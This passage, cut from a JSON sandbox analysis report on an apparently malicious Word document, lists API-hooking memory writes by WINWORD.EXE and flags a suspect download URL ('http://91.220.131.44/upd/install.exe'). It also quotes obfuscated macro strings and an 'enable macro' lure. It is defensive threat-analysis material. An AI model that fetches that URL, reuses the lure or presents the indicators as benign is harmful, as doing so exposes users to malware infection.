\"4013f3fcfe070000\" to virtual address \"0xFCF4FE48\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FB50\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"e913b0e9ff\" to virtual address \"0xFDA950C0\" (\"OleLoadFromStream@OLE32.DLL\")","\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FB10\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"48b86013edf9fe070000ffe0\" to virtual address \"0xFCF31340\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"00100000\" to virtual address \"0xFCF48468\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"40130000\" to virtual address \"0xFCF48538\" (part of module \"SSPICLI.DLL\")"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FE50\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"cd5eb699dd14d601\" to virtual address \"0x3F253258\" (part of module \"WINWORD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FB48\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FE10\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FE18\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"e9abc073ffcc\" to virtual address \"0xFE1F4060\" (\"SysAllocStringByteLen@OLEAUT32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"e1040a99dd14d601\" to virtual address \"0xEA932350\" (part of module \"OART.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"27730a99dd14d601\" to virtual address \"0xF53BFA00\" (part of module \"GFX.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"48b81016edf9fe070000ffe0\" to virtual address \"0xFCF31000\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"0dfc7499dd14d601\" to virtual address \"0xF303DE48\" (part of module \"RICHED20.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"48b8e011edf9fe070000ffe0\" to virtual address \"0xFE4B1000\" (part of module \"WS2_32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FB18\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"e933f073ff\" to virtual address \"0xFE1F1180\" (\"VariantClear@OLEAUT32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FE48\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FB50\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"e913b0e9ff\" to virtual address \"0xFDA950C0\" (\"OleLoadFromStream@OLE32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FB10\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"48b86013edf9fe070000ffe0\" to virtual address \"0xFCF31340\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"00100000\" to virtual address \"0xFCF48468\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" wrote bytes \"40130000\" to virtual address \"0xFCF48538\" (part of module \"SSPICLI.DLL\")"}],"origin":"Hook Detection","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1179","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"External Systems","identifier":"avtest-6","type":12,"relevance":10,"name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"3/77 reputation engines marked \"http://91.220.131.44\" as malicious (3% detection rate)\n 4/69 reputation engines marked \"http://91.220.131.44/upd/install.exe\" as malicious (5% detection rate)","description_v2":["3/77 reputation engines marked \"http://91.220.131.44\" as malicious (3% detection rate)","4/69 reputation engines marked \"http://91.220.131.44/upd/install.exe\" as malicious (5% detection rate)"],"description_v3":[{"type":"text","value":"3/77 reputation engines marked \"http://91.220.131.44\" as malicious (3% detection rate)"},{"type":"linebreak"},{"type":"text","value":"4/69 reputation engines marked \"http://91.220.131.44/upd/install.exe\" as malicious (5% detection rate)"}],"origin":"External System","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"string-63","type":2,"relevance":3,"name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"91.2@20.131\"","description_v2":["Pattern match: \"91.2@20.131\""],"description_v3":[{"type":"text","value":"Pattern match: \"91.2@20.131\""}],"origin":"File/Memory","attck_id":"T1114","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1114","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"string-14","type":2,"relevance":3,"name":"Found potential IP address in binary/memory","description":"\"1.3.1.2\"\n \"2.2.1.1\"\n Heuristic match: \"91.220.131.44/upd/install.\"\n Heuristic match: \"91.220.131.44/upd/install\"\n \"1.1.2.2\"\n Heuristic match: \":pinkatorF\"g 1.3.1 .2 -na'\" 2ruLKASQUDKNBWQKJDH\"sakdj lksajdCPjd Phd jhqwiudhquid gughgNcsri\"ptb.122e534)P)dwq, \"pin\" + \"g 2.2.1.1 -& \" 2\\\"\", Heuristic match: \"`33qy,0,tru5~O&D&^GCS^ASD SA^si\\s@echo oo^!p@C 1.1.2.2\" 2 Nchcp 01251:csakclasj\\dkP_Rs@4Var1=<2685]bjbjzz41\\1\\VVVVVVjjj8jV.0V*------/<2*-!V-VVH.FVVV*V*I\"FEXjB*&.0V.f2Ff2 Jf2Vj--V.f2h: If you document have incorrect encoding - enable macro\" (Indicator: \"enable macro\")"],"description_v3":[{"type":"text","value":"\">685]bjbjzz41\\1\\VVVVVVjjj8jV.0V*------/<2*-!V-VVH.FVVV*V*I\"FEXjB*&.0V.f2Ff2 Jf2Vj--V.f2h: